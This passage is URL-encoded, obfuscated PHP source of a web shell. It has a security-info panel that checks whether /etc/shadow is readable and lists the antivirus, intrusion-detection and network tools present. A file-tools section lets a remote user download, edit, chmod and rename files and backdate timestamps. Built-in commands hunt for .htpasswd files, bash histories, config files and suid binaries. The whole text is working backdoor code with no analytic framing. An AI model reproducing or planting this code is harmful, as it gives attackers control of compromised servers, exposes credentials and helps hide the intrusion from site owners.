%20.%20%22%3Cbr%3E%22%3B%20%7D%20else%20%7B%20echo%20%22%3Cpre%20class%3Dml1%3E%22%20.%20%24v%20.%20%22%3C%2Fpre%3E%22%3B%20%7D%20%7D%20%7D%20showSecParam%28%22Server%20software%22%2C%20%40getenv%28%22SERVER%5fSOFTWARE%22%29%29%3B%20if%20%28%24GLOBALS%5B%22tinh%22%5D%5B6%5D%28%22apache%5fget%5fmodules%22%29%29%20%7B%20showSecParam%28%20%22Loaded%20Apache%20modules%22%2C%20implode%28%22%2C%20%22%2C%20apache%5fget%5fmodules%28%29%29%20%29%3B%20%7D%20showSecParam%28%20%22Disabled%20PHP%20Functions%22%2C%20%24GLOBALS%5B%22disable%5ffunctions%22%5D%20%3F%20%24GLOBALS%5B%22disable%5ffunctions%22%5D%20%3A%20%22none%22%20%29%3B%20showSecParam%28%22Open%20base%20dir%22%2C%20%40%24GLOBALS%5B%22tinh%22%5D%5B12%5D%28%22open%5fbasedir%22%29%29%3B%20showSecParam%28%20%22Safe%20mode%20exec%20dir%22%2C%20%40%24GLOBALS%5B%22tinh%22%5D%5B12%5D%28%22safe%5fmode%5fexec%5fdir%22%29%20%29%3B%20showSecParam%28%20%22Safe%20mode%20include%20dir%22%2C%20%40%24GLOBALS%5B%22tinh%22%5D%5B12%5D%28%22safe%5fmode%5finclude%5fdir%22%29%20%29%3B%20showSecParam%28%20%22cURL%20support%22%2C%20%24GLOBALS%5B%22tinh%22%5D%5B6%5D%28%22curl%5fversion%22%29%20%3F%20%22enabled%22%20%3A%20%22no%22%20%29%3B%20%24temp%20%3D%20%5B%5D%3B%20if%20%28%24GLOBALS%5B%22tinh%22%5D%5B6%5D%28%22mysql%5fget%5fclient%5finfo%22%29%29%20%7B%20%24temp%5B%5D%20%3D%20%22MySql%20%28%22%20.%20mysql%5fget%5fclient%5finfo%28%29%20.%20%22%29%22%3B%20%7D%20if%20%28%24GLOBALS%5B%22tinh%22%5D%5B6%5D%28%22mssql%5fconnect%22%29%29%20%7B%20%24temp%5B%5D%20%3D%20%22MSSQL%22%3B%20%7D%20if%20%28%24GLOBALS%5B%22tinh%22%5D%5B6%5D%28%22pg%5fconnect%22%29%29%20%7B%20%24temp%5B%5D%20%3D%20%22PostgreSQL%22%3B%20%7D%20if%20%28%24GLOBALS%5B%22tinh%22%5D%5B6%5D%28%22oci%5fconnect%22%29%29%20%7B%20%24temp%5B%5D%20%3D%20%22Oracle%22%3B%20%7D%20showSecParam%28%22Supported%20databases%22%2C%20implode%28%22%2C%20%22%2C%20%24temp%29%29%3B%20echo%20%22%3Cbr%3E%22%3B%20if%20%28%24GLOBALS%5B%22os%22%5D%20%3D%3D%20%22nix%22%29%20%7B%20showSecParam%28%20%22Readable%20%2Fetc%2Fpasswd%22%2C%20%40is%5freadable%28%22%2Fetc%2Fpasswd%22%29%20%3F%20%22yes%20%3Ca%20href%3D%27%23%27%20onclick%3D%27g%28%5C%22FilesTools%5C%22%2C%20%5C%22%2Fetc%2F%5C%22%2C%20%5C%22passwd%5C%22%29%27%3E%5Bview%5D%3C%2Fa%3E%22%20%3A%20%22no%22%20%29%3B%20showSecParam%28%20%22Readable%20%2Fetc%2Fshadow%22%2C%20%40is%5freadable%28%22%2Fetc%2Fshadow%22%29%20%3F%20%22yes%20%3Ca%20href%3D%27%23%27%20onclick%3D%27g%28%5C%22FilesTools%5C%22%2C%20%5C%22%2Fetc%2F%5C%22%2C%20%5C%22shadow%5C%22%29%27%3E%5Bview%5D%3C%2Fa%3E%22%20%3A%20%22no%22%20%29%3B%20showSecParam%28%22OS%20version%22%2C%20%40file%5fget%5fcontents%28%22%2Fproc%2Fversion%22%29%29%3B%20showSecParam%28%22Distr%20name%22%2C%20%40file%5fget%5fcontents%28%22%2Fetc%2Fissue.net%22%29%29%3B%20if%20%28!%24GLOBALS%5B%22safe%5fmode%22%5D%29%20%7B%20%24userful%20%3D%20%5B%20%22gcc%22%2C%20%22lcc%22%2C%20%22cc%22%2C%20%22ld%22%2C%20%22make%22%2C%20%22php%22%2C%20%22perl%22%2C%20%22python%22%2C%20%22ruby%22%2C%20%22tar%22%2C%20%22gzip%22%2C%20%22bzip%22%2C%20%22bzip2%22%2C%20%22nc%22%2C%20%22locate%22%2C%20%22suidperl%22%2C%20%5D%3B%20%24danger%20%3D%20%5B%20%22kav%22%2C%20%22nod32%22%2C%20%22bdcored%22%2C%20%22uvscan%22%2C%20%22sav%22%2C%20%22drwebd%22%2C%20%22clamd%22%2C%20%22rkhunter%22%2C%20%22chkrootkit%22%2C%20%22iptables%22%2C%20%22ipfw%22%2C%20%22tripwire%22%2C%20%22shieldcc%22%2C%20%22portsentry%22%2C%20%22snort%22%2C%20%22ossec%22%2C%20%22lidsadm%22%2C%20%22tcplodg%22%2C%20%22sxid%22%2C%20%22logcheck%22%2C%20%22logwatch%22%2C%20%22sysmask%22%2C%20%22zmbscap%22%2C%20%22sawmill%22%2C%20%22wormscan%22%2C%20%22ninja%22%2C%20%5D%3B%20%24downloaders%20%3D%20%5B%20%22wget%22%2C%20%22fetch%22%2C%20%22lynx%22%2C%20%22links%22%2C%20%22curl%22%2C%20%22get%22%2C%20%22lwp-mirror%22%2C%20%5D%3B%20echo%20%22%3Cbr%3E%22%3B%20%24temp%20%3D%20%5B%5D%3B%20foreach%20%28%24userful%20as%20%24%E2%96%9F%29%20%7B%20if%20%28which%28%24%E2%96%9F%29%29%20%7B%20%24temp%5B%5D%20%3D%20%24%E2%96%9F%3B%20%7D%20%7D%20showSecParam%28%22Userful%22%2C%20implode%28%22%2C%20%22%2C%20%24temp%29%29%3B%20%24temp%20%3D%20%5B%5D%3B%20foreach%20%28%24danger%20as%20%24%E2%96%9F%29%20%7B%20if%20%28which%28%24%E2%96%9F%29%29%20%7B%20%24temp%5B%5D%20%3D%20%24%E2%96%9F%3B%20%7D%20%7D%20showSecParam%28%22Danger%22%2C%20implode%28%22%2C%20%22%2C%20%24temp%29%29%3B%20%24temp%20%3D%20%5B%5D%3B%20foreach%20%28%24downloaders%20as%20%24%E2%96%9F%29%20%7B%20if%20%28which%28%24%E2%96%9F%29%29%20%7B%20%24temp%5B%5D%20%3D%20%24%E2%96%9F%3B%20%7D%20%7D%20showSecParam%28%22Downloaders%22%2C%20implode%28%22%2C%20%22%2C%20%24temp%29%29%3B%20echo%20%22%3Cbr%2F%3E%22%3B%20showSecParam%28%22HDD%20space%22%2C%20ex%28%22df%20-h%22%29%29%3B%20showSecParam%28%22Hosts%22%2C%20%40file%5fget%5fcontents%28%22%2Fetc%2Fhosts%22%29%29%3B%20showSecParam%28%22Mount%20options%22%2C%20%40file%5fget%5fcontents%28%22%2Fetc%2Ffstab%22%29%29%3B%20%7D%20%7D%20else%20%7B%20showSecParam%28%22OS%20Version%22%2C%20ex%28%22ver%22%29%29%3B%20showSecParam%28%20%22Account%20Settings%22%2C%20%24GLOBALS%5B%22tinh%22%5D%5B7%5D%28%22CP866%22%2C%20%22UTF-8%22%2C%20ex%28%22net%20accounts%22%29%29%20%29%3B%20showSecParam%28%20%22User%20Accounts%22%2C%20%24GLOBALS%5B%22tinh%22%5D%5B7%5D%28%22CP866%22%2C%20%22UTF-8%22%2C%20ex%28%22net%20user%22%29%29%20%29%3B%20%7D%20echo%20%22%3C%2Fdiv%3E%22%3B%20hardFooter%28%29%3B%20%7D%20function%20actionFilesTools%28%29%20%7B%20if%20%28isset%28%24%5fPOST%5B%22p1%22%5D%29%29%20%7B%20%24%5fPOST%5B%22p1%22%5D%20%3D%20urldecode%28%24%5fPOST%5B%22p1%22%5D%29%3B%20%7D%20if%20%28%40%24%5fPOST%5B%22p2%22%5D%20%3D%3D%20%22download%22%29%20%7B%20if%20%28%40is%5ffile%28%24%5fPOST%5B%22p1%22%5D%29%20%26%26%20%40is%5freadable%28%24%5fPOST%5B%22p1%22%5D%29%29%20%7B%20ob%5fstart%28%22ob%5fgzhandler%22%2C%204096%29%3B%20header%28%20%22Content-Disposition%3A%20attachment%3B%20filename%3D%22%20.%20basename%28%24%5fPOST%5B%22p1%22%5D%29%20%29%3B%20if%20%28%24GLOBALS%5B%22tinh%22%5D%5B6%5D%28%22mime%5fcontent%5ftype%22%29%29%20%7B%20%24type%20%3D%20%40mime%5fcontent%5ftype%28%24%5fPOST%5B%22p1%22%5D%29%3B%20header%28%22Content-Type%3A%20%22%20.%20%24type%29%3B%20%7D%20else%20%7B%20header%28%22Content-Type%3A%20application%2Foctet-stream%22%29%3B%20%7D%20%24fp%20%3D%20%40fopen%28%24%5fPOST%5B%22p1%22%5D%2C%20%22r%22%29%3B%20if%20%28%24fp%29%20%7B%20while%20%28!%40feof%28%24fp%29%29%20%7B%20echo%20%40fread%28%24fp%2C%201024%29%3B%20%7D%20fclose%28%24fp%29%3B%20%7D%20%7D%20exit%28%29%3B%20%7D%20if%20%28%40%24%5fPOST%5B%22p2%22%5D%20%3D%3D%20%22mkfile%22%29%20%7B%20if%20%28!file%5fexists%28%24%5fPOST%5B%22p1%22%5D%29%29%20%7B%20%24fp%20%3D%20%40fopen%28%24%5fPOST%5B%22p1%22%5D%2C%20%22w%22%29%3B%20if%20%28%24fp%29%20%7B%20%24%5fPOST%5B%22p2%22%5D%20%3D%20%22edit%22%3B%20fclose%28%24fp%29%3B%20%7D%20%7D%20%7D%20hardHeader%28%29%3B%20echo%20%22%3Ch1%3EFile%20tools%3C%2Fh1%3E%3Cdiv%20class%3Dcontent%3E%22%3B%20if%20%28!file%5fexists%28%40%24%5fPOST%5B%22p1%22%5D%29%29%20%7B%20echo%20%22File%20not%20exists%22%3B%20hardFooter%28%29%3B%20return%3B%20%7D%20%24uid%20%3D%20%40%24GLOBALS%5B%22tinh%22%5D%5B18%5D%28%40fileowner%28%24%5fPOST%5B%22p1%22%5D%29%29%3B%20if%20%28!%24uid%29%20%7B%20%24uid%5B%22name%22%5D%20%3D%20%40fileowner%28%24%5fPOST%5B%22p1%22%5D%29%3B%20%24gid%5B%22name%22%5D%20%3D%20%40filegroup%28%24%5fPOST%5B%22p1%22%5D%29%3B%20%7D%20else%20%7B%20%24gid%20%3D%20%40%24GLOBALS%5B%22tinh%22%5D%5B19%5D%28%40filegroup%28%24%5fPOST%5B%22p1%22%5D%29%29%3B%20%7D%20echo%20%22%3Cspan%3EName%3A%3C%2Fspan%3E%20%22%20.%20%24GLOBALS%5B%22tinh%22%5D%5B14%5D%28%40basename%28%24%5fPOST%5B%22p1%22%5D%29%29%20.%20%22%20%3Cspan%3ESize%3A%3C%2Fspan%3E%20%22%20.%20%28is%5ffile%28%24%5fPOST%5B%22p1%22%5D%29%20%3F%20viewSize%28filesize%28%24%5fPOST%5B%22p1%22%5D%29%29%20%3A%20%22-%22%29%20.%20%22%20%3Cspan%3EPermission%3A%3C%2Fspan%3E%20%22%20.%20viewPermsColor%28%24%5fPOST%5B%22p1%22%5D%29%20.%20%22%20%3Cspan%3EOwner%2FGroup%3A%3C%2Fspan%3E%20%22%20.%20%24uid%5B%22name%22%5D%20.%20%22%2F%22%20.%20%24gid%5B%22name%22%5D%20.%20%22%3Cbr%3E%22%3B%20echo%20%22%3Cspan%3ECreate%20time%3A%3C%2Fspan%3E%20%22%20.%20date%28%22Y-m-d%20H%3Ai%3As%22%2C%20filectime%28%24%5fPOST%5B%22p1%22%5D%29%29%20.%20%22%20%3Cspan%3EAccess%20time%3A%3C%2Fspan%3E%20%22%20.%20date%28%22Y-m-d%20H%3Ai%3As%22%2C%20fileatime%28%24%5fPOST%5B%22p1%22%5D%29%29%20.%20%22%20%3Cspan%3EModify%20time%3A%3C%2Fspan%3E%20%22%20.%20date%28%22Y-m-d%20H%3Ai%3As%22%2C%20filemtime%28%24%5fPOST%5B%22p1%22%5D%29%29%20.%20%22%3Cbr%3E%3Cbr%3E%22%3B%20if%20%28empty%28%24%5fPOST%5B%22p2%22%5D%29%29%20%7B%20%24%5fPOST%5B%22p2%22%5D%20%3D%20%22view%22%3B%20%7D%20if%20%28is%5ffile%28%24%5fPOST%5B%22p1%22%5D%29%29%20%7B%20%24m%20%3D%20%5B%20%22View%22%2C%20%22Highlight%22%2C%20%22Download%22%2C%20%22Hexdump%22%2C%20%22Edit%22%2C%20%22Chmod%22%2C%20%22Rename%22%2C%20%22Touch%22%2C%20%22Frame%22%2C%20%5D%3B%20%7D%20else%20%7B%20%24m%20%3D%20%5B%22Chmod%22%2C%20%22Rename%22%2C%20%22Touch%22%5D%3B%20%7D%20foreach%20%28%24m%20as%20%24v%29%20%7B%20echo%20%27%3Ca%20href%3D%23%20onclick%3D%22g%28null%2Cnull%2C%5C%27%27%20.%20urlencode%28%24%5fPOST%5B%22p1%22%5D%29%20.%20%27%5C%27%2C%5C%27%27%20.%20%24GLOBALS%5B%22tinh%22%5D%5B27%5D%28%24v%29%20.%20%27%5C%27%29%22%3E%27%20.%20%28%24GLOBALS%5B%22tinh%22%5D%5B27%5D%28%24v%29%20%3D%3D%20%40%24%5fPOST%5B%22p2%22%5D%20%3F%20%22%3Cb%3E%5B%20%22%20.%20%24v%20.%20%22%20%5D%3C%2Fb%3E%22%20%3A%20%24v%29%20.%20%22%3C%2Fa%3E%20%22%3B%20%7D%20echo%20%22%3Cbr%3E%3Cbr%3E%22%3B%20switch%20%28%24%5fPOST%5B%22p2%22%5D%29%20%7B%20case%20%22view%22%3A%20echo%20%22%3Cpre%20class%3Dml1%3E%22%3B%20%24fp%20%3D%20%40fopen%28%24%5fPOST%5B%22p1%22%5D%2C%20%22r%22%29%3B%20if%20%28%24fp%29%20%7B%20while%20%28!%40feof%28%24fp%29%29%20%7B%20echo%20%24GLOBALS%5B%22tinh%22%5D%5B14%5D%28%40fread%28%24fp%2C%201024%29%29%3B%20%7D%20%40fclose%28%24fp%29%3B%20%7D%20echo%20%22%3C%2Fpre%3E%22%3B%20break%3B%20case%20%22highlight%22%3A%20if%20%28%40is%5freadable%28%24%5fPOST%5B%22p1%22%5D%29%29%20%7B%20echo%20%27%3Cdiv%20class%3Dml1%20style%3D%22background-color%3A%20%23e1e1e1%3Bcolor%3Ablack%3B%22%3E%27%3B%20%24oRb%20%3D%20%40highlight%5ffile%28%24%5fPOST%5B%22p1%22%5D%2C%20true%29%3B%20echo%20str%5freplace%28%20%5B%22%3Cspan%20%22%2C%20%22%3C%2Fspan%3E%22%5D%2C%20%5B%22%3Cfont%20%22%2C%20%22%3C%2Ffont%3E%22%5D%2C%20%24oRb%20%29%20.%20%22%3C%2Fdiv%3E%22%3B%20%7D%20break%3B%20case%20%22chmod%22%3A%20if%20%28!empty%28%24%5fPOST%5B%22p3%22%5D%29%29%20%7B%20%24perms%20%3D%200%3B%20for%20%28%20%24i%20%3D%20%24GLOBALS%5B%22tinh%22%5D%5B28%5D%28%24%5fPOST%5B%22p3%22%5D%29%20-%201%3B%20%24i%20%3E%3D%200%3B%20--%24i%20%29%20%7B%20%24perms%20%2B%3D%20%28int%29%20%24%5fPOST%5B%22p3%22%5D%5B%24i%5D%20%2a%20pow%288%2C%20%24GLOBALS%5B%22tinh%22%5D%5B28%5D%28%24%5fPOST%5B%22p3%22%5D%29%20-%20%24i%20-%201%29%3B%20%7D%20if%20%28!%40chmod%28%24%5fPOST%5B%22p1%22%5D%2C%20%24perms%29%29%20%7B%20echo%20%27Can%5C%27t%20set%20permissions!%3Cbr%3E%3Cscript%3Edocument.mf.p3.value%3D%22%22%3B%3C%2Fscript%3E%27%3B%20%7D%20%7D%20clearstatcache%28%29%3B%20echo%20%27%3Cscript%3Ep3%5f%3D%22%22%3B%3C%2Fscript%3E%3Cform%20onsubmit%3D%22g%28null%2Cnull%2C%5C%27%27%20.%20urlencode%28%24%5fPOST%5B%22p1%22%5D%29%20.%20%27%5C%27%2Cnull%2Cthis.chmod.value%29%3Breturn%20false%3B%22%3E%3Cinput%20type%3Dtext%20name%3Dchmod%20value%3D%22%27%20.%20substr%28sprintf%28%22%25o%22%2C%20fileperms%28%24%5fPOST%5B%22p1%22%5D%29%29%2C%20-4%29%20.%20%27%22%3E%3Cinput%20type%3Dsubmit%20value%3D%22submit%22%3E%3C%2Fform%3E%27%3B%20break%3B%20case%20%22edit%22%3A%20if%20%28!is%5fwritable%28%24%5fPOST%5B%22p1%22%5D%29%29%20%7B%20echo%20%27File%20isn%5C%27t%20writeable%27%3B%20break%3B%20%7D%20if%20%28!empty%28%24%5fPOST%5B%22p3%22%5D%29%29%20%7B%20%24time%20%3D%20%40filemtime%28%24%5fPOST%5B%22p1%22%5D%29%3B%20%24%5fPOST%5B%22p3%22%5D%20%3D%20substr%28%24%5fPOST%5B%22p3%22%5D%2C%201%29%3B%20%24fp%20%3D%20%40fopen%28%24%5fPOST%5B%22p1%22%5D%2C%20%22w%22%29%3B%20if%20%28%24fp%29%20%7B%20%40fwrite%28%24fp%2C%20%24%5fPOST%5B%22p3%22%5D%29%3B%20%40fclose%28%24fp%29%3B%20echo%20%27Saved!%3Cbr%3E%3Cscript%3Ep3%5f%3D%22%22%3B%3C%2Fscript%3E%27%3B%20%40touch%28%24%5fPOST%5B%22p1%22%5D%2C%20%24time%2C%20%24time%29%3B%20%7D%20%7D%20echo%20%27%3Cform%20onsubmit%3D%22g%28null%2Cnull%2C%5C%27%27%20.%20urlencode%28%24%5fPOST%5B%22p1%22%5D%29%20.%20%27%5C%27%2Cnull%2C%5C%271%5C%27%2Bthis.text.value%29%3Breturn%20false%3B%22%3E%3Ctextarea%20name%3Dtext%20class%3Dbigarea%3E%27%3B%20%24fp%20%3D%20%40fopen%28%24%5fPOST%5B%22p1%22%5D%2C%20%22r%22%29%3B%20if%20%28%24fp%29%20%7B%20while%20%28!%40feof%28%24fp%29%29%20%7B%20echo%20%24GLOBALS%5B%22tinh%22%5D%5B14%5D%28%40fread%28%24fp%2C%201024%29%29%3B%20%7D%20%40fclose%28%24fp%29%3B%20%7D%20echo%20%27%3C%2Ftextarea%3E%3Cinput%20type%3Dsubmit%20value%3D%22submit%22%3E%3C%2Fform%3E%27%3B%20break%3B%20case%20%22hexdump%22%3A%20%24c%20%3D%20%40file%5fget%5fcontents%28%24%5fPOST%5B%22p1%22%5D%29%3B%20%24n%20%3D%200%3B%20%24h%20%3D%20%5B%2200000000%3Cbr%3E%22%2C%20%22%22%2C%20%22%22%5D%3B%20%24len%20%3D%20%24GLOBALS%5B%22tinh%22%5D%5B28%5D%28%24c%29%3B%20for%20%28%24i%20%3D%200%3B%20%24i%20%3C%20%24len%3B%20%2B%2B%24i%29%20%7B%20%24h%5B1%5D%20.%3D%20sprintf%28%22%2502X%22%2C%20ord%28%24c%5B%24i%5D%29%29%20.%20%22%20%22%3B%20switch%20%28ord%28%24c%5B%24i%5D%29%29%20%7B%20case%200%3A%20%24h%5B2%5D%20.%3D%20%22%20%22%3B%20break%3B%20case%209%3A%20%24h%5B2%5D%20.%3D%20%22%20%22%3B%20break%3B%20case%2010%3A%20%24h%5B2%5D%20.%3D%20%22%20%22%3B%20break%3B%20case%2013%3A%20%24h%5B2%5D%20.%3D%20%22%20%22%3B%20break%3B%20default%3A%20%24h%5B2%5D%20.%3D%20%24c%5B%24i%5D%3B%20break%3B%20%7D%20%24n%2B%2B%3B%20if%20%28%24n%20%3D%3D%2032%29%20%7B%20%24n%20%3D%200%3B%20if%20%28%24i%20%2B%201%20%3C%20%24len%29%20%7B%20%24h%5B0%5D%20.%3D%20sprintf%28%22%2508X%22%2C%20%24i%20%2B%201%29%20.%20%22%3Cbr%3E%22%3B%20%7D%20%24h%5B1%5D%20.%3D%20%22%3Cbr%3E%22%3B%20%24h%5B2%5D%20.%3D%20%22%5Cn%22%3B%20%7D%20%7D%20echo%20%27%3Ctable%20cellspacing%3D1%20cellpadding%3D5%20bgcolor%3D%23222%3E%3Ctr%3E%3Ctd%20bgcolor%3D%23202832%3E%3Cspan%20style%3D%22font-weight%3A%20normal%3B%22%3E%3Cpre%3E%27%20.%20%24h%5B0%5D%20.%20%22%3C%2Fpre%3E%3C%2Fspan%3E%3C%2Ftd%3E%3Ctd%20bgcolor%3D%230d0d0d%3E%3Cpre%3E%22%20.%20%24h%5B1%5D%20.%20%22%3C%2Fpre%3E%3C%2Ftd%3E%3Ctd%20bgcolor%3D%23202832%3E%3Cpre%3E%22%20.%20%24GLOBALS%5B%22tinh%22%5D%5B14%5D%28%24h%5B2%5D%29%20.%20%22%3C%2Fpre%3E%3C%2Ftd%3E%3C%2Ftr%3E%3C%2Ftable%3E%22%3B%20break%3B%20case%20%22rename%22%3A%20if%20%28!empty%28%24%5fPOST%5B%22p3%22%5D%29%29%20%7B%20if%20%28!%40rename%28%24%5fPOST%5B%22p1%22%5D%2C%20%24%5fPOST%5B%22p3%22%5D%29%29%20%7B%20echo%20%27Can%5C%27t%20rename!%3Cbr%3E%27%3B%20%7D%20else%20%7B%20die%28%20%27%3Cscript%3Eg%28null%2Cnull%2C%22%27%20.%20urlencode%28%24%5fPOST%5B%22p3%22%5D%29%20.%20%27%22%2Cnull%2C%22%22%29%3C%2Fscript%3E%27%20%29%3B%20%7D%20%7D%20echo%20%27%3Cform%20onsubmit%3D%22g%28null%2Cnull%2C%5C%27%27%20.%20urlencode%28%24%5fPOST%5B%22p1%22%5D%29%20.%20%27%5C%27%2Cnull%2Cthis.name.value%29%3Breturn%20false%3B%22%3E%3Cinput%20type%3Dtext%20name%3Dname%20value%3D%22%27%20.%20%24GLOBALS%5B%22tinh%22%5D%5B14%5D%28%24%5fPOST%5B%22p1%22%5D%29%20.%20%27%22%3E%3Cinput%20type%3Dsubmit%20value%3D%22submit%22%3E%3C%2Fform%3E%27%3B%20break%3B%20case%20%22touch%22%3A%20if%20%28!empty%28%24%5fPOST%5B%22p3%22%5D%29%29%20%7B%20%24time%20%3D%20strtotime%28%24%5fPOST%5B%22p3%22%5D%29%3B%20if%20%28%24time%29%20%7B%20if%20%28!touch%28%24%5fPOST%5B%22p1%22%5D%2C%20%24time%2C%20%24time%29%29%20%7B%20echo%20%22Fail!%22%3B%20%7D%20else%20%7B%20echo%20%22Touched!%22%3B%20%7D%20%7D%20else%20%7B%20echo%20%22Bad%20time%20format!%22%3B%20%7D%20%7D%20clearstatcache%28%29%3B%20echo%20%27%3Cscript%3Ep3%5f%3D%22%22%3B%3C%2Fscript%3E%3Cform%20onsubmit%3D%22g%28null%2Cnull%2C%5C%27%27%20.%20urlencode%28%24%5fPOST%5B%22p1%22%5D%29%20.%20%27%5C%27%2Cnull%2Cthis.touch.value%29%3Breturn%20false%3B%22%3E%3Cinput%20type%3Dtext%20name%3Dtouch%20value%3D%22%27%20.%20date%28%22Y-m-d%20H%3Ai%3As%22%2C%20%40filemtime%28%24%5fPOST%5B%22p1%22%5D%29%29%20.%20%27%22%3E%3Cinput%20type%3Dsubmit%20value%3D%22submit%22%3E%3C%2Fform%3E%27%3B%20break%3B%20case%20%22frame%22%3A%20%24frameSrc%20%3D%20substr%28%20%24GLOBALS%5B%22tinh%22%5D%5B14%5D%28%24GLOBALS%5B%22cwd%22%5D%29%2C%20%24GLOBALS%5B%22tinh%22%5D%5B28%5D%28%20%24GLOBALS%5B%22tinh%22%5D%5B14%5D%28%24%5fSERVER%5B%22DOCUMENT%5fROOT%22%5D%29%20%29%20%29%3B%20if%20%28%24frameSrc%5B0%5D%20!%3D%20%22%2F%22%29%20%7B%20%24frameSrc%20%3D%20%22%2F%22%20.%20%24frameSrc%3B%20%7D%20if%20%28%24frameSrc%5B%24GLOBALS%5B%22tinh%22%5D%5B28%5D%28%24frameSrc%29%20-%201%5D%20!%3D%20%22%2F%22%29%20%7B%20%24frameSrc%20%3D%20%24frameSrc%20.%20%22%2F%22%3B%20%7D%20%24frameSrc%20%3D%20%24frameSrc%20.%20%24GLOBALS%5B%22tinh%22%5D%5B14%5D%28%24%5fPOST%5B%22p1%22%5D%29%3B%20echo%20%27%3Ciframe%20width%3D%22100%25%22%20height%3D%22900px%22%20scrolling%3D%22no%22%20src%3D%27%20.%20%24frameSrc%20.%20%27%20onload%3D%22onload%3Dheight%3DcontentDocument.body.scrollHeight%22%3E%3C%2Fiframe%3E%27%3B%20break%3B%20%7D%20echo%20%22%3C%2Fdiv%3E%22%3B%20hardFooter%28%29%3B%20%7D%20if%20%28%24os%20%3D%3D%20%22win%22%29%20%7B%20%24aliases%20%3D%20%5B%20%22List%20Directory%22%20%3D%3E%20%22dir%22%2C%20%22Find%20index.php%20in%20current%20dir%22%20%3D%3E%20%22dir%20%2Fs%20%2Fw%20%2Fb%20index.php%22%2C%20%22Find%20%2aconfig%2a.php%20in%20current%20dir%22%20%3D%3E%20%22dir%20%2Fs%20%2Fw%20%2Fb%20%2aconfig%2a.php%22%2C%20%22Show%20active%20connections%22%20%3D%3E%20%22netstat%20-an%22%2C%20%22Show%20running%20services%22%20%3D%3E%20%22net%20start%22%2C%20%22User%20accounts%22%20%3D%3E%20%22net%20user%22%2C%20%22Show%20computers%22%20%3D%3E%20%22net%20view%22%2C%20%22ARP%20Table%22%20%3D%3E%20%22arp%20-a%22%2C%20%22IP%20Configuration%22%20%3D%3E%20%22ipconfig%20%2Fall%22%2C%20%5D%3B%20%7D%20else%20%7B%20%24aliases%20%3D%20%5B%20%22List%20dir%22%20%3D%3E%20%22ls%20-lha%22%2C%20%22list%20file%20attributes%20on%20a%20Linux%20second%20extended%20file%20system%22%20%3D%3E%20%22lsattr%20-va%22%2C%20%22show%20opened%20ports%22%20%3D%3E%20%22netstat%20-an%20%7C%20grep%20-i%20listen%22%2C%20%22process%20status%22%20%3D%3E%20%22ps%20aux%22%2C%20%22Find%22%20%3D%3E%20%22%22%2C%20%22find%20all%20suid%20files%22%20%3D%3E%20%22find%20%2F%20-type%20f%20-perm%20-04000%20-ls%22%2C%20%22find%20suid%20files%20in%20current%20dir%22%20%3D%3E%20%22find%20.%20-type%20f%20-perm%20-04000%20-ls%22%2C%20%22find%20all%20sgid%20files%22%20%3D%3E%20%22find%20%2F%20-type%20f%20-perm%20-02000%20-ls%22%2C%20%22find%20sgid%20files%20in%20current%20dir%22%20%3D%3E%20%22find%20.%20-type%20f%20-perm%20-02000%20-ls%22%2C%20%22find%20config.inc.php%20files%22%20%3D%3E%20%22find%20%2F%20-type%20f%20-name%20config.inc.php%22%2C%20%22find%20config%2a%20files%22%20%3D%3E%20%22find%20%2F%20-type%20f%20-name%20%5C%22config%2a%5C%22%22%2C%20%22find%20config%2a%20files%20in%20current%20dir%22%20%3D%3E%20%22find%20.%20-type%20f%20-name%20%5C%22config%2a%5C%22%22%2C%20%22find%20all%20writable%20folders%20and%20files%22%20%3D%3E%20%22find%20%2F%20-perm%20-2%20-ls%22%2C%20%22find%20all%20writable%20folders%20and%20files%20in%20current%20dir%22%20%3D%3E%20%22find%20.%20-perm%20-2%20-ls%22%2C%20%22find%20all%20service.pwd%20files%22%20%3D%3E%20%22find%20%2F%20-type%20f%20-name%20service.pwd%22%2C%20%22find%20service.pwd%20files%20in%20current%20dir%22%20%3D%3E%20%22find%20.%20-type%20f%20-name%20service.pwd%22%2C%20%22find%20all%20.htpasswd%20files%22%20%3D%3E%20%22find%20%2F%20-type%20f%20-name%20.htpasswd%22%2C%20%22find%20.htpasswd%20files%20in%20current%20dir%22%20%3D%3E%20%22find%20.%20-type%20f%20-name%20.htpasswd%22%2C%20%22find%20all%20.bash%5fhistory%20files%22%20%3D%3E%20%22find%20%2F%20-type%20f%20-name%20.bash%5fhistory%22%2C%20%22find%20.bash%5fhistory%20files%20in%20current%20dir%22%20%3D%3E%20%22find%20.%20-type%20f%20-name%20.bash%5fhistory%22%2C%20%22find%20all%20.fetchmailrc%20files%22%20%3D%3E%20%22find%20%2F%20-type%20f%20-name%20.fetchmailrc%22%2C%20%22find%20.fetchmailrc%20files%20in%20current%20dir%22%20%3D%3E%20%22find%20.%20-type%20f%20-name%20.fetchmailrc%22%2C%20%22Locate%22%20%3D%3E%20%22%22%2C%20%22locate%20httpd.conf%20files%22%20%3D%3E%20%22locate%20httpd.conf%22%2C%20%22locate%20vhosts.conf%20files%22%20%3D%3E%20%22locate%20vhosts.conf%22%2C%20%22locate%20proftpd.conf%20files%22%20%3D%3E%20%22locate%20proftpd.conf%22%2C%20%22locate%20psybnc.conf%20files%22%20%3D%3E%20%22locate%20psybnc.conf%22%2C%20%22locate%20my.conf%20files%22%20%3D%3E%20%22locate%20my.conf%22%2C%20%22locate%20admin.php%20files%22%20%3D%3E%20%22locate%20admin.php%22%2C%20%22locate%20cfg.php%20files%22%20%3D%3E%20%22locate%20cfg.php%22%2C%20%22locate%20conf.php%20files%22%20%3D%3E%20%22locate%20conf.php%22%2C%20%22locate%20config.dat%20files%22%20%3D%3E%20%22locate%20config.dat%22%2C%20%22locate%20config.php%20files%22%20%3D%3E%20%22locate%20config.php%22%2C%20%22locate%20config.inc%20files%22%20%3D%3E%20%22locate%20config.inc%22%2C%20%22locate%20config.inc.php%22%20%3D%3E%20%22locate%20config.inc.php%22%2C%20%22locate%20config.default.php%20files%22%20%3D%3E%20%22locate%20config.default.php%22%2C%20%22locate%20config%2a%20files%20%22%20%3D%3E%20%22locate%20config%22%2C%20%22locate%20.conf%20files%22%20%3D%3E%20%22locate%20%27.conf%27%22%2C%20%22locate%20.pwd%20files%22%20%3D%3E%20%22locate%20%27.pwd%27%22%2C%20%22locate%20.sql%20files%22%20%3D%3E%20%22locate%20%27.sql%27%22%2C%20%22locate%20.htpasswd%20files%22%20%3D%3E%20%22locate%20%27.htpasswd%27%22%2C%20%22locate%20.bash%5fhistory%20files%22%20%3D%3E%20%22locate%20%27.bash%5fhistory%27%22%2C%20%22locate%20.mysql%5fhistory%20files%22%20%3D%3E%20%22locate%20%27.mysql%5fhistory%27%22%2C%20%22locate%20.fetchmailrc%20files%22%20%3D%3E%2